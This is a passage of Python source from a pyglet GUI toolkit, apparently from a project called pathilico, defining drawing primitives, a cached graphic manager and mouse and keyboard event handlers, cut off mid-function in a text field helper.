import math
import time
import functools
import datetime
import itertools
from logging import getLogger

import pyglet
from PIL import Image

import pathilico.pygletelm.cache as cache
import pathilico.app.geometry as geometry
from pathilico.pygletelm.message import WindowResized, WindowApiChangeCursor

LAYERS = dict()

class GlobalWindowInfo(object):
    width = 100
    height = 100

def get_layer_group(ind):
    if ind not in LAYERS:
        LAYERS[ind] = pyglet.graphics.OrderedGroup(ind)
    return LAYERS[ind]

def update_percentile_location_coordination(p, horizontal=True):
    if horizontal:
        l = GlobalWindowInfo.width
    else:
        l = GlobalWindowInfo.height
    if p >= 0:
        r = int(p * l)
    else:
        r = int(l + p * l)
    r = r if r <= l else l
    return r

def friendly_api(f):
    @functools.wraps(f)
    def wrapper(*args, **kwargs):
        new_kwargs = dict()
        for k, v in kwargs.items():
            if k == "layer" and isinstance(v, int):
                new_kwargs["group"] = get_layer_group(v)
                new_kwargs["layer"] = v
                continue
            if k in (
                    "x", "x0", "x1", "x2", "radius", "r", "length", "width"
            ) and isinstance(v, float):
                new_kwargs[k] = update_percentile_location_coordination(v)
                continue
            if k in (
                    "y", "y0", "y1", "y2", "height"
            ) and isinstance(v, float):
                new_kwargs[k] = update_percentile_location_coordination(
                    v, False
                )
                continue
            new_kwargs[k] = v
        return f(*args, **new_kwargs)
    return wrapper

# User APIs
class Layer(object):

    def __init__(self):
        self._created = time.time()

class LayerControl(type):

    def __new__(meta, name, bases, class_dict):
        layers = [(k, v) for k, v in class_dict.items() if isinstance(v, Layer)]
        new_layers = [
            (k[0], i)
            for i, k in enumerate(sorted(layers, key=lambda x: x[1]._created))
        ]
        for k, v in new_layers:
            class_dict[k] = v
        for i in range(len(new_layers)+10):
            if i not in LAYERS:
                LAYERS[i] = pyglet.graphics.OrderedGroup(i)
        return type.__new__(meta, name, bases, class_dict)

class LayerList(object, metaclass=LayerControl):
    pass

class View(object):  # User api

    def __init__(self, *view_results):
        """Contain result of view function

        :param Iter[ViewResult] view_results:
        """
        self.drawings = [
            x for v_result in view_results for x in v_result.drawings
        ]
        self.events = [
            x for v_result in view_results for x in v_result.events
        ]

# Factory functions to make primitive drawings
@friendly_api
def simple_box(
        x, y, width, height, color=(255, 255, 255, 255), group=None,
        layer=0, *args, **kwargs):
    box = PrimitiveBox(
        x=x, y=y, width=width, height=height, color=color, group=group
    )
    return WindowObject([box])

@friendly_api
def simple_circle(
        x, y, radius, color=(255, 255, 255, 255), group=None,
        layer=0, *args, **kwargs):
    circle = PrimitiveCircle(x=x, y=y, radius=radius, color=color, group=group)
    return WindowObject([circle])

@friendly_api
def simple_line(
        x0, y0, x1, y1, color=(255, 255, 255, 255), group=None, layer=0,
        *args, **kwargs):
    return WindowObject([PrimitiveLine(x0, y0, x1, y1, color, group=group)])

@friendly_api
def simple_triangle(
        x0, y0, x1, y1, x2, y2, color=(255, 255, 255, 255), group=None, layer=0,
        *args, **kwargs):
    return WindowObject(
        [PrimitiveTriangle(x0, y0, x1, y1, x2, y2, color, group=group)]
    )

@friendly_api
def simple_text_label(
        x, y, text, font_name="Helvetica", font_size=18,
        anchor_x="center", anchor_y="center", font_bold=False,
        font_color=(255, 255, 255, 255), group=None, layer=0, *args, **kwargs):
    return WindowObject([PrimitiveTextLabel(
        x, y, text, font_name, font_size, anchor_x, anchor_y,
        font_color=font_color, font_bold=font_bold, group=group
    )])

@friendly_api
def box_with_text(
        x, y, width, height, text="", color=(100, 100, 100, 255),
        font_name="Helvetica", font_size=18, anchor_x="center",
        anchor_y="center", font_color=(255, 255, 255, 255), group=None, layer=0,
        font_bold=False, *args, **kwargs):
    box = PrimitiveBox(x, y, width, height, color, group)
    text_label_group = get_layer_group(layer+1)
    text_label = PrimitiveTextLabel(
        x+width//2, y+height//2, text, font_name, font_size, anchor_x, anchor_y,
        font_bold=font_bold, font_color=font_color, group=text_label_group
    )
    return WindowObject([box, text_label])

@friendly_api
def simple_image(
        x, y, image, scale=1, group=None, usage="dynamic", layer=0,
        image_id=None, *args, **kwargs):
    image_id = image_id or id(image)
    return WindowObject(
        [PrimitiveImage(x, y, image, scale, group=group, image_id=image_id)]
    )

@friendly_api
def polygon(
        points, group=None, color=(255, 255, 255, 255), layer=0, dim=2,
        index=tuple(), triangulate=False, *args, **kwargs):
    if dim == 2:
        points = list(itertools.chain.from_iterable(points))
    if triangulate:
        index = geometry.triangulate(points)
    p = PrimitivePolygon(vertices=points, group=group, color=color, index=index)
    return WindowObject([p])

@friendly_api
def curve(
        points, group=None, color=(255, 255, 255, 255), layer=0, dim=2,
        index=tuple(), *args, **kwargs):
    if dim == 2:
        points = list(itertools.chain.from_iterable(points))
    p = PrimitiveCurve(vertices=points, group=group, color=color)
    return WindowObject([p])

@friendly_api
def button(
        event_msg, msg_kwargs=None, x=0, y=0, width=100, height=100, group=None,
        layer=0, color=(255, 255, 255, 255), text="", font_bold=False,
        font_name="Helvetica", font_size=18, anchor_x="center",
        anchor_y="center", font_color=(255, 255, 255, 255),  *args, **kwargs):
    box_graphic = PrimitiveBox(x, y, width, height, color, group)
    text_label_group = get_layer_group(layer+1)
    text_label = PrimitiveTextLabel(
        x+width//2, y+height//2, text, font_name, font_size, anchor_x, anchor_y,
        font_bold=font_bold, font_color=font_color, group=text_label_group
    )
    box_event = OnClickBox(
        x, y, width, height, event_msg, msg_kwargs, priority=layer
    )
    return WindowObject([box_graphic, text_label], [box_event])

def mouse_drag_area(
        x, y, width, height, message, msg_kwargs=None, priority=0, layer=0,
        drag_start_msg=None, drag_start_msg_kwargs=None, drag_end_msg=None,
        drag_end_msg_kwargs=None):
    priority = priority or layer
    event = OnMouseDrag(
        x, y, width, height, message, msg_kwargs, priority=priority,
        on_mouse_press_message=drag_start_msg,
        on_mouse_press_kwargs=drag_start_msg_kwargs,
        on_mouse_release_message=drag_end_msg,
        on_mouse_release_kwargs=drag_end_msg_kwargs
    )
    return WindowObject(events=[event])

def mouse_click_area(
        x, y, width, height, message, msg_kwargs=None, priority=0, layer=0):
    priority = priority or layer
    event = OnClickBox(
        x, y, width, height, message, msg_kwargs, priority
    )
    return WindowObject(events=[event])

def mouse_press_area(
        x, y, width, height, message, msg_kwargs=None, priority=0, layer=0):
    priority = priority or layer
    event = OnPressBox(
        x, y, width, height, message, msg_kwargs, priority
    )
    return WindowObject(events=[event])

def mouse_scroll_area(
        x, y, width, height, message, msg_kwargs=None, priority=0, layer=0):
    priority = priority or layer
    event = OnMouseScroll(
        x, y, width, height, message, msg_kwargs, priority
    )
    return WindowObject(events=[event])

def mouse_double_click_area(
        x, y, width, height, message, msg_kwargs=None, modifiers=None,
        priority=100, layer=0):
    priority = priority or layer
    if isinstance(modifiers, str):
        modifiers = getattr(pyglet.window.key, modifiers)
    event = OnDoubleClick(
        x, y, width, height, message, msg_kwargs=msg_kwargs, priority=priority,
        modifiers=modifiers
    )
    return WindowObject(events=[event])

def shortcut_key_release_event(
        message, symbol, modifiers=None, msg_kwargs=None):
    if isinstance(symbol, str):
        symbol = getattr(pyglet.window.key, symbol)
    if isinstance(modifiers, str):
        modifiers = getattr(pyglet.window.key, modifiers)
    event = OnKeyRelease(
        symbol=symbol, modifiers=modifiers, message=message,
        msg_kwargs=msg_kwargs
    )
    return WindowObject(events=[event])

class WindowObject(object):

    def __init__(self, drawings=None, events=None):
        self.drawings = drawings or list()
        self.events = events or list()

class AtomicDrawing(cache.CachedObject):
    _payload_type = cache.PayloadTypes.unique_by_class_and_replaceable_payload

    def __init__(self):
        self.drawing = None
        super().__init__()

    def draw(self, batch):
        pass

    def update(self, update_kwargs):
        pass

    def done(self):
        if hasattr(self, "drawing"):
            del self.drawing

class PrimitiveBox(AtomicDrawing):
    _payload_attrs = ("x", "y", "width", "height", "color", "group")
    _payload_replaceable_attrs = _payload_attrs[:-1]

    def __init__(
            self, x, y, width, height, color=(255, 255, 255, 255), group=None):
        self.x, self.y, self.width, self.height = x, y, width, height
        self.color = color
        self.group = group
        super().__init__()
        self.drawing = None

    def update(self, update_kwargs):
        update_vertices = False
        for k, v in update_kwargs.items():
            if k == "color":
                self.color = v
                self.drawing.colors = self.get_colors(v)[-1]
            elif k in ("x", "y", "width", "height"):
                setattr(self, k, v)
                update_vertices = True
        if update_vertices:
            self.drawing.vertices = self.get_vertices(
                self.x, self.y, self.width, self.height
            )[-1]

    def draw(self, batch):
        vs = self.get_vertices(self.x, self.y, self.width, self.height)
        cs = self.get_colors(self.color)
        self.drawing = batch.add(
            4, pyglet.gl.GL_QUADS, self.group, vs, cs
        )

    @classmethod
    def get_vertices(self, x, y, width, height):
        vs = (
            x, y+height, x, y, x+width, y, x+width, y+height
        )  # top left, bottom left, bottom right, top right
        return "v2i", vs

    @classmethod
    def get_colors(cls, color):
        color_type = "c3B" if len(color) == 3 else "c4B"
        return color_type, color*4

class PrimitiveCircle(AtomicDrawing):
    _payload_attrs = ("x", "y", "radius", "color", "group")
    _payload_replaceable_attrs = _payload_attrs[:-1]

    def __init__(self, x, y, radius, color=(255, 255, 255, 255), group=None):
        self.x, self.y, self.radius = x, y, radius
        self.color = color
        self.group = group
        super().__init__()
        self.drawing = None

    @classmethod
    def get_vertices_and_indices(self, x, y, radius):
        vs = [x, y]
        inds = []
        for i, d in enumerate(range(0, 360, 2)):
            r = math.radians(d)
            h = x + int(radius*math.cos(r))
            v = y + int(radius*math.sin(r))
            vs.append(h)
            vs.append(v)
            inds.extend([0, i, i+1])
        inds[-1] = 1
        return ("v2i", vs), inds

    @classmethod
    def get_colors(cls, color, vs):
        num_vs = len(vs[-1]) // 2
        color_type = "c3B" if len(color) == 3 else "c4B"
        return color_type, color*num_vs

    def draw(self, batch):
        vs, inds = self.get_vertices_and_indices(self.x, self.y, self.radius)
        cs = self.get_colors(self.color, vs)
        self.drawing = batch.add_indexed(
            len(vs[-1])//2, pyglet.gl.GL_TRIANGLES, self.group, inds, vs, cs
        )

    def update(self, update_kwargs):
        for k, v in update_kwargs.items():
            setattr(self, k, v)
        vs, inds = self.get_vertices_and_indices(self.x, self.y, self.radius)
        cs = self.get_colors(self.color, vs)
        self.drawing.vertices = vs[-1]
        self.drawing.indices = inds
        self.drawing.colors = cs[-1]

class PrimitiveLine(AtomicDrawing):
    _payload_attrs = ("x0", "y0", "x1", "y1", "color", "group")
    _payload_replaceable_attrs = _payload_attrs[:-1]

    def __init__(self, x0, y0, x1, y1, color=(255, 255, 255, 255), group=None):
        self.x0, self.y0, self.x1, self.y1 = x0, y0, x1, y1
        self.color = color
        self.group = group
        self.drawing = None
        super().__init__()

    @classmethod
    def get_vertices(self, x0, y0, x1, y1):
        vs = (x0, y0, x1, y1)
        return ("v2i", vs)

    @classmethod
    def get_colors(cls, color):
        color_type = "c3B" if len(color) == 3 else "c4B"
        return color_type, color*2

    def draw(self, batch):
        vs = self.get_vertices(self.x0, self.y0, self.x1, self.y1)
        cs = self.get_colors(self.color)
        self.drawing = batch.add(2, pyglet.gl.GL_LINES, self.group, vs, cs)

    def update(self, update_kwargs):
        for k, v in update_kwargs.items():
            setattr(self, k, v)
        vs = self.get_vertices(self.x0, self.y0, self.x1, self.y1)
        cs = self.get_colors(self.color)
        self.drawing.vertices = vs[-1]
        self.drawing.colors = cs[-1]

class PrimitiveTriangle(AtomicDrawing):
    _payload_attrs = ("x0", "y0", "x1", "y1", "x2", "y2", "color", "group")
    _payload_replaceable_attrs = _payload_attrs[:-1]

    def __init__(
            self, x0, y0, x1, y1, x2, y2, color=(255, 255, 255, 255),
            group=None):
        self.x0, self.y0, self.x1, self.y1 = x0, y0, x1, y1
        self.x2, self.y2 = x2, y2
        self.color = color
        self.group = group
        self.drawing = None
        super().__init__()

    @classmethod
    def get_vertices(self, x0, y0, x1, y1, x2, y2):
        vs = (x0, y0, x1, y1, x2, y2)
        return "v2i", vs

    @classmethod
    def get_colors(cls, color):
        color_type = "c3B" if len(color) == 3 else "c4B"
        return color_type, color*3

    def draw(self, batch):
        vs = self.get_vertices(
            self.x0, self.y0, self.x1, self.y1, self.x2, self.y2
        )
        cs = self.get_colors(self.color)
        self.drawing = batch.add(3, pyglet.gl.GL_TRIANGLES, self.group, vs, cs)

    def update(self, update_kwargs):
        for k, v in update_kwargs.items():
            setattr(self, k, v)
        vs = self.get_vertices(
            self.x0, self.y0, self.x1, self.y1, self.x2, self.y2
        )
        cs = self.get_colors(self.color)
        self.drawing.vertices = vs[-1]
        self.drawing.colors = cs[-1]

class PrimitivePolygon(AtomicDrawing):
    _payload_attrs = ("num_points", "vertices", "color", "group", "index")
    _payload_replaceable_attrs = _payload_attrs[0:3]

    def __init__(
            self, vertices, color=(255, 255, 255, 255), index=tuple(),
            group=None):
        self.num_points = len(vertices) // 2
        self.index = tuple(index)
        self.color, self.group = color, group
        self.vertices = \
            vertices if isinstance(vertices, tuple) else tuple(vertices)
        self.drawing = None
        super().__init__()

    @classmethod
    def get_vertices(self, vs):
        return "v2i", vs

    @classmethod
    def get_colors(cls, color, num_points):
        color_type = "c3B" if len(color) == 3 else "c4B"
        return color_type, color*num_points

    def draw(self, batch):
        vs = self.get_vertices(self.vertices)
        cs = self.get_colors(self.color, num_points=self.num_points)
        if self.index:
            self.drawing = batch.add_indexed(
                self.num_points, pyglet.gl.GL_TRIANGLES, self.group, self.index,
                vs, cs
            )
        else:
            self.drawing = batch.add(
                self.num_points, pyglet.gl.GL_TRIANGLES, self.group, vs, cs
            )

    def update(self, update_kwargs):
        for k, v in update_kwargs.items():
            setattr(self, k, v)
        vs = self.get_vertices(self.vertices)
        cs = self.get_colors(self.color, num_points=self.num_points)
        self.drawing.vertices = vs[-1]
        self.drawing.colors = cs[-1]

class PrimitiveCurve(AtomicDrawing):
    _payload_attrs = (
        "num_points", "vertices", "start_point", "num_alloc", "color", "group"
    )
    _payload_replaceable_attrs = _payload_attrs[:2]

    def __init__(
            self, vertices, color=(255, 255, 255, 255), num_alloc=2048,
            group=None, logger=None):
        self.logger = logger or getLogger("pfcore.GraphicManager")
        self.num_points = len(vertices) // 2
        self.start_point = tuple(vertices[0:2])
        self.vertices = \
            vertices if isinstance(vertices, tuple) else tuple(vertices)
        self.num_alloc = num_alloc
        self.color = color
        self.group = group
        self.drawing = None
        super().__init__()

    @classmethod
    def get_vertices(cls, vertices, num_points, num_alloc):
        vs = vertices + vertices[-2:] * (num_alloc - num_points)
        return ("v2i", vs)

    @classmethod
    def get_indices(cls, num_points, num_alloc):
        if num_points < 2:
            return [0] * 2 * (num_alloc -1)
        inds = [0] \
               + list(itertools.chain.from_iterable(
                   [(i, i) for i in range(1, num_points-1)])
               ) \
               + [num_points-1] * (2*num_alloc - 2*num_points + 1)
        # e.g. [0, 1, 1, 2, 2, 2] when n_points==3 and n_alloc==4
        return inds

    @classmethod
    def get_colors(cls, color, num_alloc):
        color_type = "c3B" if len(color) == 3 else "c4B"
        return color_type, color*num_alloc

    def draw(self, batch):
        self.logger.debug(
            "[PrimitiveCurve] drawing obj start point @ ({})".format(
                self.start_point)
        )
        vs = self.get_vertices(self.vertices, self.num_points, self.num_alloc)
        indices = self.get_indices(self.num_points, self.num_alloc)
        cs = self.get_colors(self.color, self.num_alloc)
        self.drawing = batch.add_indexed(
            self.num_alloc, pyglet.gl.GL_LINES, self.group, indices, vs, cs
        )

    def update(self, update_kwargs):
        for k, v in update_kwargs.items():
            setattr(self, k, v)
        self.logger.debug(
            "[PrimitiveCurve] Updating points {}".format(
                update_kwargs["num_points"]
            )
        )
        vs = self.get_vertices(self.vertices, self.num_points, self.num_alloc)
        indices = self.get_indices(self.num_points, self.num_alloc)
        cs = self.get_colors(self.color, self.num_alloc)
        self.drawing.vertices = vs[-1]
        self.drawing.colors = cs[-1]
        self.drawing.indices = indices

class PrimitiveImage(AtomicDrawing):
    _payload_attrs = ("x", "y", "scale", "image_id", "group", "usage")
    _payload_replaceable_attrs = _payload_attrs[:3]

    def __init__(
            self, x, y, image, scale=1, group=None, usage="dynamic",
            image_id=None, logger=None):
        self.logger = logger or getLogger("pfcore.GraphicManager")
        self.x, self.y, self.scale = x, y, scale
        self.group = group
        self.usage = usage
        self.image = image
        self.drawing = None
        self.image_id = image_id or datetime.datetime.now()
        super().__init__()

    @staticmethod
    def convert_pil_image_to_pyglet_image(pil_image):
        """Convert PIL type image to pyglet image

        :param PIL.Image.Image pil_image: PIL image
        :return: pyglet.image.ImageData
        """
        raw_img = pil_image.tobytes()
        pitch = -1 * pil_image.width * len(pil_image.mode)
        pyg_img = pyglet.image.ImageData(
            pil_image.width, pil_image.height, pil_image.mode,
            raw_img, pitch=pitch
        )
        return pyg_img

    def draw(self, batch):
        if isinstance(self.image, Image.Image):
            self.image = self.convert_pil_image_to_pyglet_image(self.image)
        self.drawing = pyglet.sprite.Sprite(
            self.image, self.x, self.y, batch=batch, group=self.group,
            usage=self.usage
        )
        self.drawing.scale = self.scale
        self.logger.debug("PrimitiveImage {} is drawn".format(self.image_id))

    def update(self, update_kwargs):
        for k in self._payload_replaceable_attrs:
            if k in update_kwargs:
                v = update_kwargs[k]
                setattr(self, k, v)
                setattr(self.drawing, k, v)
        self.logger.debug("PrimitiveImage {} is updated, {}".format(
            self.image_id, update_kwargs))

class PrimitiveTextLabel(AtomicDrawing):
    _payload_attrs = (
        "text", "x", "y", "font_name", "font_size", "anchor_x", "anchor_y",
        "group", "font_bold"
    )
    _payload_replaceable_attrs = ("x", "y")

    def __init__(
            self, x, y, text, font_name="Helvetica", font_size=18,
            anchor_x="center", anchor_y="center", font_bold=False,
            font_color=(255, 255, 255, 255), group=None
    ):
        self.x, self.y, self.text = x, y, text
        self.group = group
        self.font_name, self.font_size = font_name, font_size
        self.font_color, self.font_bold = font_color, font_bold
        self.anchor_x, self.anchor_y = anchor_x, anchor_y
        self.drawing = None
        super().__init__()

    def draw(self, batch):
        self.drawing = pyglet.text.Label(
            self.text, x=self.x, y=self.y, batch=batch, group=self.group,
            font_size=self.font_size, font_name=self.font_name,
            anchor_x=self.anchor_x, anchor_y=self.anchor_y,
            color=self.font_color, bold=self.font_bold
        )

    def update(self, update_kwargs):
        for k in self._payload_replaceable_attrs:
            if k in update_kwargs:
                v = update_kwargs[k]
                setattr(self, k, v)
                setattr(self.drawing, k, v)

class PrimitiveSingleTextLine(AtomicDrawing):
    _payload_attrs = (
        "text", "x", "y", "width", "height", "font_name",
        "font_size", "anchor_x", "anchor_y",
        "group", "font_bold"
    )
    _payload_replaceable_attrs = ("x", "y")

    def __init__(
            self, x, y, text, width=200, height=200, font_name="Helvetica",
            font_size=18,
            anchor_x="center", anchor_y="center", font_bold=False,
            font_color=(255, 255, 255, 255), group=None
    ):
        self.x, self.y, self.text = x, y, text
        self.group = group
        self.font_name, self.font_size = font_name, font_size
        self.font_color, self.font_bold = font_color, font_bold
        self.anchor_x, self.anchor_y = anchor_x, anchor_y
        self.drawing = None
        super().__init__()

    def draw(self, batch):
        self.drawing = pyglet.text.Label(
            self.text, x=self.x, y=self.y, batch=batch, group=self.group,
            font_size=self.font_size, font_name=self.font_name,
            anchor_x=self.anchor_x, anchor_y=self.anchor_y,
            color=self.font_color, bold=self.font_bold
        )

    def update(self, update_kwargs):
        for k in self._payload_replaceable_attrs:
            if k in update_kwargs:
                v = update_kwargs[k]
                setattr(self, k, v)
                setattr(self.drawing, k, v)

class GraphicManager(object):

    def __init__(self, batch, logger=None):
        self.drawings = dict()
        self.my_d = None
        self.batch = batch
        self.logger = logger or getLogger("pfcore.GraphicManager")

    def update_drawings(self, drawings):
        new, update, delete = cache.diff(
            self.get_tags(self.drawings.values()), self.get_tags(drawings)
        )
        for d_id in delete:
            self._delete_drawing(d_id)
        for u_id, u_kwargs in update.items():
            self._update_drawing(u_id, u_kwargs)
        for d in drawings:
            if d.identity in new:
                self._add_drawing(d)

    @classmethod
    def get_tags(cls, l):
        return [a.tag for a in l]

    def _delete_drawing(self, identity):
        if identity not in self.drawings:
            return
        d = self.drawings.pop(identity)
        self.logger.debug("Deleting id {}, {}".format(identity, d))
        d.drawing.delete()
        d.done()

    def _add_drawing(self, drawing):
        self.drawings[drawing.identity] = drawing
        self.logger.debug("Adding id{}, {}".format(drawing.identity, drawing))
        drawing.draw(self.batch)

    def _update_drawing(self, identity, update_kwargs):
        if identity not in self.drawings:
            return
        self.logger.debug("Updating id {}, {}".format(identity, update_kwargs))
        self.drawings[identity].update(update_kwargs)

class PygletWindowApiHandler(object):
    def __init__(
            self, batch, window, proxy, actions=None, on_draw_events=None,
            retina_display=False
    ):
        """The instance is passed to pyglet.window.Window.push_handlers method

        :param pyglet.window.Batch batch:
        :param pyglet.window.Window window:
        :param pathfinder.pygletelm.backend.StateProxy proxy:
        :param on_draw_events:
        """
        self.batch = batch
        self.window = window
        self.actions = actions
        self.on_draw_events = on_draw_events or list()
        self.last_mouse_press_time = time.time() - 100
        self.last_mouse_release_time = time.time() - 100
        self.on_click_position = (-100, -100)
        self.set_global_window_info(window.width, window.height)
        self.proxy = proxy
        self.retina_display = retina_display

    def set_global_window_info(self, width, height):  # TODO: Deprecate
        GlobalWindowInfo.width = width
        GlobalWindowInfo.height = height

    def on_resize(self, width, height):
        if self.retina_display:
            pyglet.gl.glViewport(0, 0, width*2, height*2)
        else:
            pyglet.gl.glViewport(0, 0, width, height)
        pyglet.gl.glMatrixMode(pyglet.gl.GL_PROJECTION)
        pyglet.gl.glLoadIdentity()
        pyglet.gl.glOrtho(0, width, 0, height, -1, 1)
        pyglet.gl.glMatrixMode(pyglet.gl.GL_MODELVIEW)
        self.set_global_window_info(width, height)
        self.proxy.push_message(WindowResized(width, height))

    def on_click(self, x, y, button, modifiers):  # Additional
        for e in self.actions:
            flag = e("on_click", x, y, button, modifiers)
            if flag:
                return True

    def on_double_click(self, x, y, button, modifiers):  # Additional
        for e in self.actions:
            flag = e("on_double_click", x, y, button, modifiers)
            if flag:
                return True

    def on_key_release(self, symbol, modifiers):
        for e in self.actions:
            flag = e("on_key_release", symbol, modifiers)
            if flag:
                return True

    def on_mouse_scroll(self, x, y, scroll_x, scroll_y):
        for e in self.actions:
            flag = e("on_mouse_scroll", x, y, scroll_x, scroll_y)
            if flag:
                return True

    def on_mouse_press(self, x, y, button, modifiers):
        for e in self.actions:
            flag = e("on_mouse_press", x, y, button, modifiers)
            if flag:
                return True
        self.last_mouse_press_time = time.time()
        self.on_click_position = (x, y)

    def on_mouse_release(self, x, y, button, modifiers):
        for e in self.actions:
            flag = e("on_mouse_release", x, y, button, modifiers)
            if flag:
                return True
        now = time.time()
        if now - self.last_mouse_release_time < 0.8:
            self.last_mouse_release_time = now - 100
            self.last_mouse_press_time = now - 100
            self.on_double_click(x, y, button, modifiers)
            return True
        if now - self.last_mouse_press_time < 0.8:
            if (x, y) == self.on_click_position:
                self.on_click(x, y, button, modifiers)
                self.last_mouse_press_time = now - 100
                self.last_mouse_release_time = now
                return True

    def on_mouse_drag(self, x, y, dx, dy, button, modifiers):
        for e in self.actions:
            flag = e("on_mouse_drag", x, y, dx, dy, button, modifiers)
            if flag:
                return True

    def on_mouse_motion(self, x, y, dx, dy):
        for e in self.actions:
            flag = e("on_mouse_motion", x, y, dx, dy)
            if flag:
                return True

    def on_text(self, text):
        for e in self.actions:
            flag = e("on_text", text)
            if flag:
                return True

    def on_text_motion(self, motion):
        for e in self.actions:
            flag = e("on_text_motion", motion)
            if flag:
                return True

    def on_text_motion_select(self, motion):
        for e in self.actions:
            flag = e("on_text_motion_select", motion)
            if flag:
                return True

    def on_draw(self):
        pyglet.gl.glEnable(pyglet.gl.GL_BLEND)
        pyglet.gl.glBlendFunc(
            pyglet.gl.GL_SRC_ALPHA, pyglet.gl.GL_ONE_MINUS_SRC_ALPHA
        )
        for e in self.on_draw_events:
            flag = e()
            if flag:
                return True
        self.window.clear()
        self.batch.draw()

class EventBase(cache.CachedObject):
    registered_events = tuple()
    _payload_type = cache.PayloadTypes.unique_by_class_and_payload

class OnPressBox(EventBase):
    registered_events = ("on_mouse_press", )
    _payload_attrs = (
        "x", "y", "width", "height", "msg_hash",
    )

    def __init__(
            self, x, y, width, height, message, msg_kwargs=None,
            priority=0):
        self.x, self.y = x, y
        self.width, self.height = width, height
        self.msg_constructor = message
        self.msg_hash = str(message) + str(msg_kwargs)
        self.msg_kwargs = msg_kwargs or dict()
        self.priority = priority
        super().__init__()

    def on_mouse_press(self, x, y, button, modifiers):  # -> fired bool, msg Msg
        if self.x <= x <= self.x+self.width \
                and self.y <= y <= self.y+self.height:
            msg = self.msg_constructor(
                x=x, y=y, button=button, modifiers=modifiers, **self.msg_kwargs
            )
            return True, msg
        else:
            return False, None

class OnClickBox(EventBase):
    registered_events = ("on_click", )
    _payload_attrs = (
        "x", "y", "width", "height", "msg_hash",
    )

    def __init__(
            self, x, y, width, height, message, msg_kwargs=None,
            priority=0):
        self.x, self.y = x, y
        self.width, self.height = width, height
        self.msg_constructor = message
        self.msg_hash = str(message) + str(msg_kwargs)
        self.msg_kwargs = msg_kwargs or dict()
        self.priority = priority
        super().__init__()

    def on_click(self, x, y, button, modifiers):  # -> fired bool, msg Msg
        if self.x <= x <= self.x+self.width \
                and self.y <= y <= self.y+self.height:
            msg = self.msg_constructor(
                x=x, y=y, button=button, modifiers=modifiers, **self.msg_kwargs
            )
            return True, msg
        else:
            return False, None

class OnDoubleClick(EventBase):
    registered_events = ("on_double_click", )
    _payload_attrs = (
        "x", "y", "width", "height", "msg_hash", "modifiers", "priority"
    )

    def __init__(
            self, x, y, width, height, message, msg_kwargs=None,
            priority=0, modifiers=None):
        self.x, self.y = x, y
        self.width, self.height = width, height
        self.msg_constructor = message
        self.msg_hash = str(message) + str(msg_kwargs)
        self.msg_kwargs = msg_kwargs or dict()
        self.priority = priority
        self.modifiers = modifiers
        super().__init__()

    def on_double_click(self, x, y, button, modifiers):
        if self.x <= x <= self.x+self.width \
                and self.y <= y <= self.y+self.height:
            if self.modifiers:
                if not modifiers & self.modifiers:
                    return False, None
            msg = self.msg_constructor(
                x=x, y=y, button=button, modifiers=modifiers, **self.msg_kwargs
            )
            return True, msg
        else:
            return False, None

class OnKeyRelease(EventBase):
    registered_events = ("on_key_release", )
    _payload_attrs = ("symbol", "modifiers", "msg_hash")

    def __init__(
            self, symbol, modifiers, message, msg_kwargs=None, priority=0):
        self.msg_constructor = message
        self.msg_hash = str(message) + str(msg_kwargs)
        self.msg_kwargs = msg_kwargs or dict()
        self.priority = priority
        self.symbol = symbol
        self.modifiers = modifiers
        super().__init__()

    def on_key_release(self, symbol, modifiers):
        if not symbol == self.symbol:
            return False, None
        if not self.modifiers:
            msg = self.msg_constructor(**self.msg_kwargs)
            return True, msg
        if modifiers & self.modifiers:
            msg = self.msg_constructor(**self.msg_kwargs)
            return True, msg
        return False, None

class OnMouseDrag(EventBase):
    registered_events = ("on_mouse_drag", "on_mouse_press", "on_mouse_release")
    _payload_attrs = (
        "x", "y", "width", "height", "msg_hash"
    )

    def __init__(
            self, x, y, width, height, message, msg_kwargs=None,
            on_mouse_press_message=None, on_mouse_press_kwargs=None,
            on_mouse_release_message=None, on_mouse_release_kwargs=None,
            priority=0):
        self.x, self.y = x, y
        self.width, self.height = width, height
        self.msg_constructor = message
        self.msg_hash = str(message) + str(msg_kwargs)
        self.msg_kwargs = msg_kwargs or dict()
        self.priority = priority
        self.on_mouse_press_msg = on_mouse_press_message
        self.on_mouse_press_kwargs = on_mouse_press_kwargs or dict()
        self.on_mouse_release_msg = on_mouse_release_message
        self.on_mouse_release_kwargs = on_mouse_release_kwargs or dict()
        super().__init__()

    def is_in_area(self, x, y):
        return (
                self.x <= x <= self.x+self.width
                and self.y <= y <= self.y+self.height
        )

    def on_mouse_drag(self, x, y, dx, dy, button, modifiers):
        if self.is_in_area(x, y):
            msg = self.msg_constructor(
                x=x, y=y, dx=dx, dy=dy, button=button, modifiers=modifiers,
                **self.msg_kwargs
            )
            return True, msg
        else:
            return False, None

    def on_mouse_press(self, x, y, button, modifiers):
        if self.on_mouse_press_msg is None:
            return False, None
        if self.is_in_area(x, y):
            msg = self.on_mouse_press_msg(
                x=x, y=y, button=button, modifiers=modifiers,
                **self.on_mouse_press_kwargs
            )
            return True, msg
        else:
            return False, None

    def on_mouse_release(self, x, y, button, modifiers):
        if self.on_mouse_release_msg is None:
            return False, None
        if self.is_in_area(x, y):
            msg = self.on_mouse_release_msg(
                x=x, y=y, button=button, modifiers=modifiers,
                **self.on_mouse_release_kwargs
            )
            return True, msg
        else:
            return False, None

class OnMouseScroll(EventBase):
    registered_events = ("on_mouse_scroll", )
    _payload_attrs = (
        "x", "y", "width", "height", "msg_hash"
    )

    def __init__(
            self, x, y, width, height, message, msg_kwargs=None,
            priority=0):
        self.x, self.y = x, y
        self.width, self.height = width, height
        self.msg_constructor = message
        self.msg_hash = str(message) + str(msg_kwargs)
        self.msg_kwargs = msg_kwargs or dict()
        self.priority = priority
        super().__init__()

    def is_in_area(self, x, y):
        return (
                self.x <= x <= self.x+self.width
                and self.y <= y <= self.y+self.height
        )

    def on_mouse_scroll(self, x, y, scroll_x, scroll_y):
        if self.is_in_area(x, y):
            msg = self.msg_constructor(
                x=x, y=y, scroll_x=scroll_x, scroll_y=scroll_y,
                **self.msg_kwargs
            )
            return True, msg
        else:
            return False, None

FOCUSED_ID = [0]
TEXT_FIELDS = dict()
W = pyglet.window.Window()
TEXT_CURSOR = W.get_system_mouse_cursor("text")
W.close()

@friendly_api
def text_field(
        x, y, width, height, padding_top=2, padding_bottom=2, padding_left=2,
        padding_right=2, text="", layer=0, editable=False, message=None,
        background_color=(200, 200, 200, 255), caret_id=100, font_bold=False,
        font_color=(0, 0, 0, 255), font_size=0, font_name="Helvetica",
        msg_kwargs=None, *args, **kwargs):
    base_box_layer_group = get_layer_group(layer)
    field_layer_group = get_layer_group(layer+1)
